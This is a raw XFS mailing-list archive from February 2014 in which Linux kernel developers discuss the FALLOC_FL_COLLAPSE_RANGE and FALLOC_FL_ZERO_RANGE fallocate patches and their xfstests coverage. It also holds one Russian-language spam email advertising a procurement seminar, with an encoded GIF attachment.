(8.14.4/8.14.4) with ESMTP id s1I95oll008630 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 18 Feb 2014 04:05:51 -0500 Date: Tue, 18 Feb 2014 10:05:49 +0100 (CET) From: =?ISO-8859-15?Q?Luk=E1=A8_Czerner?= X-X-Sender: lczerner@localhost.localdomain To: Namjae Jeon cc: viro@zeniv.linux.org.uk, david@fromorbit.com, bpm@sgi.com, tytso@mit.edu, adilger.kernel@dilger.ca, jack@suse.cz, mtk.manpages@gmail.com, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, Namjae Jeon , Ashish Sangwan Subject: Re: [PATCH RESEND 3/10] ext4: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate In-Reply-To: X-ASG-Orig-Subj: Re: [PATCH RESEND 3/10] ext4: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate Message-ID: References: <1391319874-3203-1-git-send-email-linkinjeon@gmail.com> User-Agent: Alpine 2.00 (LFD 1167 2008-08-23) MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="8323328-1913822621-1392714354=:2216" X-Scanned-By: MIMEDefang 2.68 on 10.5.11.25 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1392714363 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. --8323328-1913822621-1392714354=:2216 Content-Type: TEXT/PLAIN; charset=UTF-8 Content-Transfer-Encoding: 8BIT On Wed, 12 Feb 2014, Namjae Jeon wrote: > Date: Wed, 12 Feb 2014 11:28:35 +0900 > From: Namjae Jeon > To: Lukáš Czerner > Cc: viro@zeniv.linux.org.uk, david@fromorbit.com, bpm@sgi.com, tytso@mit.edu, > adilger.kernel@dilger.ca, jack@suse.cz, mtk.manpages@gmail.com, > linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, > linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, > Namjae Jeon , > Ashish Sangwan > Subject: Re: [PATCH RESEND 3/10] ext4: Add support FALLOC_FL_COLLAPSE_RANGE > for fallocate > > 2014-02-11 20:59 GMT+09:00, Lukáš Czerner : > > On Sun, 2 Feb 2014, Namjae Jeon wrote: > > > >> Date: Sun, 2 Feb 2014 14:44:34 +0900 > >> From: Namjae Jeon > >> To: viro@zeniv.linux.org.uk, david@fromorbit.com, bpm@sgi.com, > >> tytso@mit.edu, > >> adilger.kernel@dilger.ca, jack@suse.cz, mtk.manpages@gmail.com > >> Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, > >> linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, > >> Namjae Jeon , Namjae Jeon > >> , > >> Ashish Sangwan > >> Subject: [PATCH RESEND 3/10] ext4: Add support FALLOC_FL_COLLAPSE_RANGE > >> for > >> fallocate > >> > >> From: Namjae Jeon > >> > >> Add support FALLOC_FL_COLLAPSE_RANGE for fallocate > Hi Lukas. > > > > Description is missing here, please provide FALLOC_FL_COLLAPSE_RANGE > > description so people know what it's supposed to be doing. > > > > more comments bellow. > Okay, I will udpate. > > > > Thanks! > > -Lukas Hi, you may have noticed my patches for new FALLOC_FL_ZERO_RANGE fallocate flag. This changes things around the same area as your patches does so we should probably figure out which are going to land in first and then rebase the other on top of that. One concern I have is that I have not seen any tests provided to verify the feature. But I just may have missed it. Do you have any xfstests test or at least fsx and fsstress patches to provide support for testing FALLOC_FL_COLLAPSE_RANGE ? Patches for util_linux might also be handy. Thanks! -Lukas --8323328-1913822621-1392714354=:2216-- From lczerner@redhat.com Tue Feb 18 03:09:55 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id D0A337FB8 for ; Tue, 18 Feb 2014 03:09:55 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 9819F8F804B for ; Tue, 18 Feb 2014 01:09:55 -0800 (PST) X-ASG-Debug-ID: 1392714594-04cb6c6de051a650001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id FAp60CbFqIBpwjZW for ; Tue, 18 Feb 2014 01:09:54 -0800 (PST) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx09.intmail.prod.int.phx2.redhat.com (int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1I99p6F016248 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 18 Feb 2014 04:09:51 -0500 Received: from dhcp-1-138.brq.redhat.com (dhcp-1-138.brq.redhat.com [10.34.1.138]) by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s1I99mo5030986 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 18 Feb 2014 04:09:50 -0500 Date: Tue, 18 Feb 2014 10:09:48 +0100 (CET) From: =?ISO-8859-15?Q?Luk=E1=A8_Czerner?= X-X-Sender: lczerner@localhost.localdomain To: Dave Chinner cc: linux-ext4@vger.kernel.org, tytso@mit.edu, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH 0/6][RFC] Introduce FALLOC_FL_ZERO_RANGE flag for fallocate In-Reply-To: <20140218083324.GB28666@dastard> X-ASG-Orig-Subj: Re: [PATCH 0/6][RFC] Introduce FALLOC_FL_ZERO_RANGE flag for fallocate Message-ID: References: <1392649703-10772-1-git-send-email-lczerner@redhat.com> <20140218010138.GE13997@dastard> <20140218083324.GB28666@dastard> User-Agent: Alpine 2.00 (LFD 1167 2008-08-23) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1392714594 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Tue, 18 Feb 2014, Dave Chinner wrote: > Date: Tue, 18 Feb 2014 19:33:24 +1100 > From: Dave Chinner > To: Lukas Czerner > Cc: linux-ext4@vger.kernel.org, tytso@mit.edu, linux-fsdevel@vger.kernel.org, > xfs@oss.sgi.com > Subject: Re: [PATCH 0/6][RFC] Introduce FALLOC_FL_ZERO_RANGE flag for > fallocate > > On Tue, Feb 18, 2014 at 12:01:38PM +1100, Dave Chinner wrote: > > On Mon, Feb 17, 2014 at 04:08:17PM +0100, Lukas Czerner wrote: > > > Introduce new FALLOC_FL_ZERO_RANGE flag for fallocate. This has the same > > > functionality as xfs ioctl XFS_IOC_ZERO_RANGE. > > > > > > It can be used to convert a range of file to zeros preferably without > > > issuing data IO. Blocks should be preallocated for the regions that span > > > holes in the file, and the entire range is preferable converted to > > > unwritten extents - even though file system may choose to zero out the > > > extent or do whatever which will result in reading zeros from the range > > > while the range remains allocated for the file. > > > > > > This can be also used to preallocate blocks past EOF in the same way as > > > with fallocate. Flag FALLOC_FL_KEEP_SIZE which should cause the inode > > > size to remain the same. > > > > > > You can test this feature yourself using xfstests, of fallocate(1) however > > > you'll need patches for util_linux, xfsprogs and xfstests which you > > > can find here: > > > > > > http://people.redhat.com/lczerner/zero_range/ > > > > > > I'll post the patches after we agree and merge the kernel functionality. > > > > > > I tested this mostly with a subset of xfstests using fsx and fsstress and > > > even with new generic/290 which is just a copy of xfs/290 usinz fzero > > > command for xfs_io instead of zero (which uses ioctl). I was testing on > > > x86_64 and ppc64 with block sizes of 1024, 2048 and 4096. > > > > You also want to convert xfs/242 to be a generic test - it uses the > > _generic_test_punch helper to test all the corner cases across > > different extent type transitions. That was the plan originally, however it uses xfs bmap which is not supported for other file systems. But I can take a better look and possibly port it to generic as well. > > > > > ./check generic/076 generic/232 generic/013 generic/070 generic/269 generic/083 generic/117 generic/068 generic/231 generic/127 generic/091 generic/075 generic/112 generic/263 generic/091 generic/075 generic/256 generic/255 generic/316 generic/300 generic/290; > > FWIW. if that's a group of tests you consider good for testing > extent tree modifications, then can you create a test group for > these by adding "extent" to each of the tests in the group file? I've made patches adding support for FALLOC_FL_ZERO_RANGE into fsx and fsstress so those tests are mostly tests which are using fsx and fsstress. It would require more careful look to identify tests which are useful for extent tree modification. I'll see what I can do. > > Cheers, > > Dave. > From ad_plankton@valinet.com Tue Feb 18 03:09:58 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.7 required=5.0 tests=DC_GIF_UNO_LARGO, DC_IMAGE_SPAM_HTML,SB_GIF_AND_NO_URIS autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 03AA77FCC for ; Tue, 18 Feb 2014 03:09:58 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id CB5498F804B for ; Tue, 18 Feb 2014 01:09:54 -0800 (PST) X-ASG-Debug-ID: 1392714590-04cbb00c285150e0001-NocioJ Received: from ul-ai.kz (otyrar-tv.kz [95.57.119.39]) by cuda.sgi.com with ESMTP id J2HVa8bE4jWVVBJl (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 18 Feb 2014 01:09:51 -0800 (PST) X-Barracuda-Envelope-From: ad_plankton@valinet.com X-Barracuda-Apparent-Source-IP: 95.57.119.39 Received: from pop-ultel3-35.azeronline.com ([62.217.139.35]) by ul-ai.kz with esmtpa (Exim 4.77) (envelope-from ) id 1WFggH-0007ZE-Kz; Tue, 18 Feb 2014 15:09:34 +0600 Message-ID: <0A04280D25124400AAC555E9B8CC5216@sfsu> Reply-To: =?windows-1251?B?7eD34Ov87ejq8yDx6/Pm4fsg8eH78uA=?= From: =?windows-1251?B?7eD34Ov87ejq8yDx6/Pm4fsg8eH78uA=?= To: , , , Subject: =?windows-1251?B?ze7i7uUg4iDj7vHn4Orz7+rg9Q==?= Date: Tue, 18 Feb 2014 10:09:42 +0100 X-ASG-Orig-Subj: =?windows-1251?B?ze7i7uUg4iDj7vHn4Orz7+rg9Q==?= MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_096D_01CF2C91.8A80CA50" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Windows Live Mail 16.4.3505.912 X-MimeOLE: Produced By Microsoft MimeOLE V16.4.3505.912 X-Scanned-By: ClamAV 0.97.4; Tue, 18 Feb 2014 15:09:34 +0600 X-Barracuda-Connect: otyrar-tv.kz[95.57.119.39] X-Barracuda-Start-Time: 1392714591 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.04 X-Barracuda-Spam-Status: No, SCORE=2.04 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DC_GIF_UNO_LARGO, DC_IMAGE_SPAM_HTML, SB_GIF_AND_NO_URIS X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145237 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 1.26 SB_GIF_AND_NO_URIS SB_GIF_AND_NO_URIS 0.79 DC_GIF_UNO_LARGO Message contains a single large inline gif 0.00 DC_IMAGE_SPAM_HTML Possible Image-only spam This is a multi-part message in MIME format. ------=_NextPart_000_096D_01CF2C91.8A80CA50 Content-Type: text/plain; charset="windows-1251" Content-Transfer-Encoding: quoted-printable =CD=E0=EF=EE=EC=E8=ED=E0=E5=EC =E2=E0=EC, =F7=F2=EE =E2 =EF=E5=F0=E8=EE=E4= =F1 2=D7 =EF=EE 25 =F4=E5=E2=F0=E0=EB=FF 2OI=F7 =E3=EE=E4=E0 =E2 =D1=E0=ED=EA=F2-=CF=E5=F2=E5=F0=E1=F3=F0=E3=E5 =D1=CE=D1=D2=CE=C8=D2=D1= =DF =D1=C5=CC=C8=CD=C0=D0: =C3=CE=D1=D3=C4=C0=D0=D1=D2=C2=C5=CD=CD=DB=C9 =C8 =CC=D3=CD=C8=D6=C8=CF=C0= =CB=DC=CD=DB=C9 =C7=C0=CA=C0=C7 - =D0=C5=D4=CE=D0=CC=C8=D0=CE=C2=C0=CD=C8= =C5 =D1=C8=D1=D2=C5=CC=DB.=20 =CD=CE=C2=CE=C5 =C2 =CF=D0=C0=C2=CE=C2=CE=CC =CC=C5=D5=C0=CD=C8=C7=CC=C5 = =C7=C0=CA=D3=CF=CE=CA =D2=CE=C2=C0=D0=CE=C2 =C8 =D3=D1=CB=D3=C3 =C4=CB=DF= =C3=CE=D1=D3=C4=C0=D0=D1=D2=C2=C5=CD=CD=DB=D5 =C8 =CC=D3=CD=C8=D6=C8=CF=C0= =CB=DC=CD=DB=D5 =CD=D3=C6=C4.=20 =DD=CB=C5=CA=D2=D0=CE=CD=CD=DB=C5 =D2=CE=D0=C3=C8 (=E0=F3=EA=F6=E8=EE=ED)= .=20 =D2=E5=EB=E5=F4=EE=ED =EE=F0=E3=EA=EE=EC=E8=F2=E5=F2=E0 =EA=F3=F0=F1=EE=E2= =EF=EE=E2=FB=F8=E5=ED=E8=FF =EA=E2=E0=EB=E8=F4=E8=EA=E0=F6=E8=E8 (=F1=EC= . =E2 =EF=F0=E8=EA=F0=E5=EF=EB=E5=ED=ED=EE=EC =F4=E0=E9=EB=E5)=20 =20 =D1=EE=E4=E5=F0=E6=E0=ED=E8=E5 =EA=F3=F0=F1=E0: 1. =CD=EE=E2=EE=E5 =E2 =E7=E0=EA=EE=ED=EE=E4=E0=F2=E5=EB=FC=F1=F2=E2=E5 =D0= =D4 =E2 =F1=F4=E5=F0=E5 =F0=E0=E7=EC=E5=F9=E5=ED=E8=FF =E7=E0=EA=E0=E7=E0= =E4=EB=FF =E3=EE=F1=F3=E4=E0=F0=F1=F2=E2=E5=ED=ED=FB=F5 =E8 =EC=F3=ED=E8= =F6=E8=EF=E0=EB=FC=ED=FB=F5 =ED=F3=E6=E4. =C7=E0=EA=EE=ED =D0=D4 94-=D4=C7= =AB=CE =F0=E0=E7=EC=E5=F9=E5=ED=E8=E8 =E7=E0=EA=E0=E7=EE=E2 =ED=E0 =EF=EE= =F1=F2=E0=E2=EA=E8 =F2=EE=E2=E0=F0=EE=E2, =E2=FB=EF=EE=EB=ED=E5=ED=E8=E5 = =F0=E0=E1=EE=F2, =EE=EA=E0=E7=E0=ED=E8=E5 =F3=F1=EB=F3=E3 =E4=EB=FF =E3=EE= =F1=F3=E4=E0=F0=F1=F2=E2=E5=ED=ED=FB=F5 =E8 =EC=F3=ED=E8=F6=E8=EF=E0=EB=FC= =ED=FB=F5 =ED=F3=E6=E4=BB. =CD=EE=E2=E0=FF =F0=E5=E4=E0=EA=F6=E8=FF =E7=E0= =EA=EE=ED=E0 =B9 218-=D4=C7 (=E2=F1=F2=F3=EF=E8=E2=F8=E0=FF =E2 =F1=E8=EB= =F3 =F1 01.10.07). =C0=EA=F2=F3=E0=EB=FC=ED=EE=F1=F2=FC =EF=EE=EF=F0=E0=E2= =EE=EA =E8 =EE=F2=E4=E5=EB=FC=ED=FB=F5 =E7=E0=EA=EE=ED=EE=E4=E0=F2=E5=EB=FC= =ED=FB=F5 =E0=EA=F2=EE=E2. =D4=E5=E4=E5=F0=E0=EB=FC=ED=FB=E9 =E7=E0=EA=EE= =ED =EE=F2 26 =E8=FE=EB=FF 2006 =E3. N 135-=D4=C7 =AB=CE =E7=E0=F9=E8=F2=E5= =EA=EE=ED=EA=F3=F0=E5=ED=F6=E8=E8=BB. =CF=F0=E8=EE=E1=F0=E5=F2=E5=ED=E8=E5= =F1=F2=E0=F2=F3=F1=E0 =E3=EE=F1=F3=E4=E0=F0=F1=F2=E2=E5=ED=ED=EE=E3=EE =E8= =EC=F3=ED=E8=F6=E8=EF=E0=EB=FC=ED=EE=E3=EE =E7=E0=EA=E0=E7=F7=E8=EA=E0. 2. =CF=EE=F0=FF=E4=EE=EA =F0=E0=E7=EC=E5=F9=E5=ED=E8=FF =E3=EE=F1=F3=E4=E0= =F0=F1=F2=E2=E5=ED=ED=EE=E3=EE =E8 =EC=F3=ED=E8=F6=E8=EF=E0=EB=FC=ED=EE=E3= =EE =E7=E0=EA=E0=E7=E0. =C2=E8=E4=FB =E8 =F4=F3=ED=EA=F6=E8=E8 =EA=EE=EC=E8= =F1=F1=E8=E8 =EF=EE =F0=E0=E7=EC=E5=F9=E5=ED=E8=FE =E3=EE=F1=F3=E4=E0=F0=F1= =F2=E2=E5=ED=ED=FB=F5 =E8 =EC=F3=ED=E8=F6=E8=EF=E0=EB=FC=ED=FB=F5 =E7=E0=EA= =E0=E7=EE=E2. =CF=EE=EB=ED=EE=EC=EE=F7=E8=FF =E8 =EE=F2=E2=E5=F2=F1=F2=E2= =E5=ED=ED=EE=F1=F2=FC =EF=F0=E5=E4=F1=E5=E4=E0=F2=E5=EB=FF =E8 =F7=EB=E5=ED= =EE=E2 =EA=EE=EC=E8=F1=F1=E8=E8, =EE=F0=E3=E0=ED=E8=E7=E0=F6=E8=FF =E4=E5= =FF=F2=E5=EB=FC=ED=EE=F1=F2=E8. =CD=EE=F0=EC=E0=F2=E8=E2=ED=EE=E5 =F0=E5=E3= =F3=EB=E8=F0=EE=E2=E0=ED=E8=E5. =CF=EE=F0=FF=E4=EE=EA =EF=F0=E8=E2=EB=E5=F7= =E5=ED=E8=FF =FD=EA=F1=EF=E5=F0=F2=EE=E2 =EA =F0=E0=E1=EE=F2=E5 =EA=EE=EC= =E8=F1=F1=E8=E8. 3. =CE=F1=EE=E1=E5=ED=ED=EE=F1=F2=E8 =EF=F0=EE=E2=E5=E4=E5=ED=E8=FF =E0=F3= =EA=F6=E8=EE=ED=EE=E2: =EF=EE=F0=FF=E4=EE=EA =EE=EF=F3=E1=EB=E8=EA=EE=E2=E0= =ED=E8=FF =E8=E7=E2=E5=F9=E5=ED=E8=FF, =E0=F3=EA=F6=E8=EE=ED=ED=EE=E9 =E4= =EE=EA=F3=EC=E5=ED=F2=E0=F6=E8=E8, =E8=E7=EC=E5=ED=E5=ED=E8=E9, =F0=E0=E7= =FA=FF=F1=ED=E5=ED=E8=E9, =E8=F2=EE=E3=EE=E2 =E0=F3=EA=F6=E8=EE=ED=E0, =F1= =F2=F0=F3=EA=F2=F3=F0=E0 =E0=F3=EA=F6=E8=EE=ED=ED=EE=E9 =E4=EE=EA=F3=EC=E5= =ED=F2=E0=F6=E8=E8, =EE=E1=E5=F1=EF=E5=F7=E5=ED=E8=E5 =E0=F3=EA=F6=E8=EE=ED= =ED=EE=E9 =E7=E0=FF=E2=EA=E8 =E8 =E3=E0=F0=E0=ED=F2=E8=E8 =E2=FB=EF=EE=EB= =ED=E5=ED=E8=FF =EA=EE=ED=F2=F0=E0=EA=F2=E0, =E0=F3=EA=F6=E8=EE=ED=E0 =F1= =EE=E4=ED=E8=EC =F3=F7=E0=F1=F2=ED=E8=EA=EE=EC. =C2=E8=E4=FB =E0=F3=EA=F6= =E8=EE=ED=EE=E2. =DD=EB=E5=EA=F2=F0=EE=ED=ED=FB=E5 =E7=E0=FF=E2=EA=E8. =D2= =E8=EF=E8=F7=ED=FB=E5 =EE=F8=E8=E1=EA=E8 =EF=F0=E8 =EF=F0=EE=E2=E5=E4=E5=ED= =E8=E8 =E0=F3=EA=F6=E8=EE=ED=EE=E2. =C7=E0=EF=F0=EE=F1=FB =EA=EE=F2=E8=F0= =EE=E2=EE=EA. =CD=EE=E2=FB=E5 =E0=F1=EF=E5=EA=F2=FB =EE=F0=E3=E0=ED=E8=E7= =E0=F6=E8=E8 =E8 =EF=F0=EE=E2=E5=E4=E5=ED=E8=FF. =D0=E0=E7=EC=E5=F9=E5=ED= =E8=E5 =E3=EE=F1=F3=E4=E0=F0=F1=F2=E2=E5=ED=ED=FB=F5 =E8 =EC=F3=ED=E8=F6=E8= =EF=E0=EB=FC=ED=FB=F5 =E7=E0=EA=E0=E7=EE=E2 =E1=E5=E7 =EF=F0=EE=E2=E5=E4=E5= =ED=E8=FF =F2=EE=F0=E3=EE=E2. =C7=E0=EA=F3=EF=EA=E0 =F3 =E5=E4=E8=ED=F1=F2= =E2=E5=ED=ED=EE=E3=EE =EF=EE=F1=F2=E0=E2=F9=E8=EA=E0. =CD=EE=E2=FB=E5 =F1= =EB=F3=F7=E0=E8 =F0=E0=E7=EC=E5=F9=E5=ED=E8=FF =E7=E0=EA=E0=E7=E0 =F3 =E5= =E4=E8=ED=F1=F2=E2=E5=ED=ED=EE=E3=EE =E8=F1=F2=EE=F7=ED=E8=EA=E0. 4. =CE=F2=E2=E5=F2=F1=F2=E2=E5=ED=ED=EE=F1=F2=FC =E7=E0 =ED=E5=ED=E0=E4=EB= =E5=E6=E0=F9=E5=E5 =E8=F1=EF=EE=EB=ED=E5=ED=E8=E5 =E3=EE=F1=F3=E4=E0=F0=F1= =F2=E2=E5=ED=ED=EE=E3=EE =EA=EE=ED=F2=F0=E0=EA=F2=E0. =D0=E5=E5=F1=F2=F0=FB= =EA=EE=ED=F2=F0=E0=EA=F2=EE=E2 =E8 =ED=E5=E4=EE=E1=F0=EE=F1=EE=E2=E5=F1=F2= =ED=FB=F5 =EF=EE=F1=F2=E0=E2=F9=E8=EA=EE=E2. =CA=EE=ED=F2=F0=EE=EB=FC =D4= =C0=D1 =D0=D4 =E2 =EE=E1=EB=E0=F1=F2=E8 =E3=EE=F1=F3=E4=E0=F0=F1=F2=E2=E5= =ED=ED=EE=E3=EE =E8 =EC=F3=ED=E8=F6=E8=EF=E0=EB=FC=ED=EE=E3=EE =E7=E0=EA=E0= =E7=E0. 5. =C0=EA=F2=F3=E0=EB=FC=ED=FB=E5 =E2=EE=EF=F0=EE=F1=FB =E7=E0=EA=EB=FE=F7= =E5=ED=E8=FF =E3=EE=F1=F3=E4=E0=F0=F1=F2=E2=E5=ED=ED=FB=F5 =E8 =EC=F3=ED=E8= =F6=E8=EF=E0=EB=FC=ED=FB=F5 =EA=EE=ED=F2=F0=E0=EA=F2=EE=E2. =CC=ED=EE=E3=EE= =EB=E5=F2=ED=E8=E5, =EF=E5=F0=E5=F5=EE=E4=FF=F9=E8=E5 =EA=EE=ED=F2=F0=E0=EA= =F2=FB. =C2=EE=EF=F0=EE=F1=FB =F4=EE=F0=EC=E8=F0=EE=E2=E0=ED=E8=FF =F6=E5= =ED=FB =EA=EE=ED=F2=F0=E0=EA=F2=E0, =EF=F0=E0=E2=E8=EB=FC=ED=EE=E3=EE =F4= =EE=F0=EC=E8=F0=EE=E2=E0=ED=E8=FF =F3=F1=EB=EE=E2=E8=E9 =F2=E5=F5=ED=E8=F7= =E5=F1=EA=EE=E3=EE =E7=E0=E4=E0=ED=E8=FF. 6. =CE=E1=E6=E0=EB=EE=E2=E0=ED=E8=E5 =E4=E5=E9=F1=F2=E2=E8=E9 =E7=E0=EA=E0= =E7=F7=E8=EA=EE=E2 =E8 =EA=EE=ED=EA=F3=F0=F1=ED=FB=F5 =EA=E0=EC=EF=E0=ED=E8= =E9 =E2 =EE=E1=EB=E0=F1=F2=E8 =E3=EE=F1=F3=E4=E0=F0=F1=F2=E2=E5=ED=ED=FB=F5= =E8 =EC=F3=ED=E8=F6=E8=EF=E0=EB=FC=ED=FB=F5 =E7=E0=EA=F3=EF=EE=EA. =CE=E1= =E7=EE=F0 =EF=F0=E0=EA=F2=E8=EA=E8. =D0=E0=F1=F1=EC=EE=F2=F0=E5=ED=E8=E5 = =E6=E0=EB=EE=E1 =E8 =EE=E1=F0=E0=F9=E5=ED=E8=E9, =EE=F1=F3=F9=E5=F1=F2=E2= =EB=FF=E5=EC=FB=F5 =F3=EF=EE=EB=ED=EE=EC=EE=F7=E5=ED=ED=FB=EC=E8 =EA=EE=ED= =F2=F0=EE=EB=FC=ED=FB=EC=E8 =EE=F0=E3=E0=ED=E0=EC=E8. =CF=EE=F0=FF=E4=EE=EA= =F1=EE=F1=F2=E0=E2=EB=E5=ED=E8=FF =E8 =F0=E0=F1=F1=EC=EE=F2=F0=E5=ED=E8=FF= =E6=E0=EB=EE=E1 =E8 =E8=F1=EA=EE=E2=FB=F5 =F2=F0=E5=E1=EE=E2=E0=ED=E8=E9= =F3=F7=E0=F1=F2=ED=E8=EA=EE=E2 =F0=E0=E7=EC=E5=F9=E5=ED=E8=FF =E7=E0=EA=E0= =E7=EE=E2. 7. =DD=EB=E5=EA=F2=F0=EE=ED=ED=FB=E9 =E0=F3=EA=F6=E8=EE=ED - =F7=F2=EE =ED= =F3=E6=ED=EE =E7=ED=E0=F2=FC =D3=F7=E0=F1=F2=ED=E8=EA=F3, =F7=F2=EE=E1=FB= =EF=F0=E8=ED=FF=F2=FC =F3=F7=E0=F1=F2=E8=E5 =E2 =FD=EB=E5=EA=F2=F0=EE=ED= =ED=EE=EC =E0=F3=EA=F6=E8=EE=ED=E5: =F1=EE=EE=F2=E2=E5=F2=F1=F2=E2=F3=FE=F9= =E5=E5 =EF=F0=EE=E3=F0=E0=EC=EC=ED=EE=E5 =EE=E1=E5=F1=EF=E5=F7=E5=ED=E8=E5= , =DD=D6=CF =E8 =EF=EE=F0=FF=E4=EE=EA =E5=E5 =F0=E5=E3=E8=F1=F2=F0=E0=F6=E8= =E8, =E4=EE=EA=F3=EC=E5=ED=F2=FB =ED=E0 =F0=E5=E3=E8=F1=F2=F0=E0=F6=E8=FE= , =F0=E0=E7=EC=E5=F9=E5=ED=E8=E5 =E8=E7=E2=E5=F9=E5=ED=E8=FF, =E4=EE=EA=F3= =EC=E5=ED=F2=E0=F6=E8=E8 =EE=E1 =E0=F3=EA=F6=E8=EE=ED=E5 =E8 =EF=F0=EE=F2= =EE=EA=EE=EB=EE=E2. =CD=E0 =EA=E0=EA=E8=F5 =EF=EB=EE=F9=E0=E4=EA=E0=F5 =EC= =EE=E3=F3=F2 =EF=F0=EE=E2=EE=E4=E8=F2=FC=F1=FF =FD=EB=E5=EA=F2=F0=EE=ED=ED= =FB=E5 =E0=F3=EA=F6=E8=EE=ED=FB? =AB=CE=F2=F0=E8=F6=E0=F2=E5=EB=FC=ED=FB=E9= =FD=EB=E5=EA=F2=F0=EE=ED=ED=FB=E9 =E0=F3=EA=F6=E8=EE=ED=BB, =EF=F0=E0=E2= =EE=E2=FB=E5 =EF=EE=F1=EB=E5=E4=F1=F2=E2=E8=FF =E5=E3=EE =EF=F0=EE=E2=E5=E4= =E5=ED=E8=FF. =CA=E0=EA=E8=E5 =E4=EE=EA=F3=EC=E5=ED=F2=FB =ED=F3=E6=ED=EE= =EF=F0=E5=E4=EE=F1=F2=E0=E2=E8=F2=FC =E4=EB=FF =EF=F0=EE=F5=EE=E6=E4=E5=ED= =E8=FF =E0=EA=EA=F0=E5=E4=E8=F2=E0=F6=E8=E8 =ED=E0 =F2=EE=F0=E3=EE=E2=EE=E9= =EF=EB=EE=F9=E0=E4=EA=E5? =CE=E1=E5=F1=EF=E5=F7=E5=ED=E8=E5 =E7=E0=FF=E2= =EE=EA =ED=E0 =F3=F7=E0=F1=F2=E8=E5 =E2 =E0=F3=EA=F6=E8=EE=ED=E5 =E2 =FD=EB= =E5=EA=F2=F0=EE=ED=ED=EE=E9 =F4=EE=F0=EC=E5: =EA=E0=EA =E8 =EA=EE=EC=F3 =EF= =F0=E5=E4=EE=F1=F2=E0=E2=EB=FF=E5=F2=F1=FF. =D3=F1=EB=EE=E2=E8=FF =F3=E4=E5= =F0=E6=E0=ED=E8=FF =EE=E1=E5=F1=EF=E5=F7=E5=ED=E8=FF. =CA=E0=EA =EF=EE=E4= =E3=EE=F2=EE=E2=E8=F2=FC =E8 =EF=EE=E4=E0=F2=FC =E7=E0=FF=E2=EA=F3 =ED=E0= =F3=F7=E0=F1=F2=E8=E5 =E2 =EE=F2=EA=F0=FB=F2=EE=EC =E0=F3=EA=F6=E8=EE=ED= =E5 =E2 =FD=EB=E5=EA=F2=F0=EE=ED=ED=EE=E9 =F4=EE=F0=EC=E5? =D0=C5=C3=C8=D1=D2=D0=C0=D6=C8=DF: 8 [ =EA=EE=E4 =D1=CF=E1 ] 98.7 .. 8.2 .. 6=F7 ------=_NextPart_000_096D_01CF2C91.8A80CA50 Content-Type: image/gif; name="kr.progr.gif" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="kr.progr.gif" R0lGODlh0wGoAvcAAAAAAAAAMwAAZgAAmQAAzAAA/wArAAArMwArZgArmQArzAAr/wBVAABVMwBV ZgBVmQBVzABV/wCAAACAMwCAZgCAmQCAzACA/wCqAACqMwCqZgCqmQCqzACq/wDVAADVMwDVZgDV 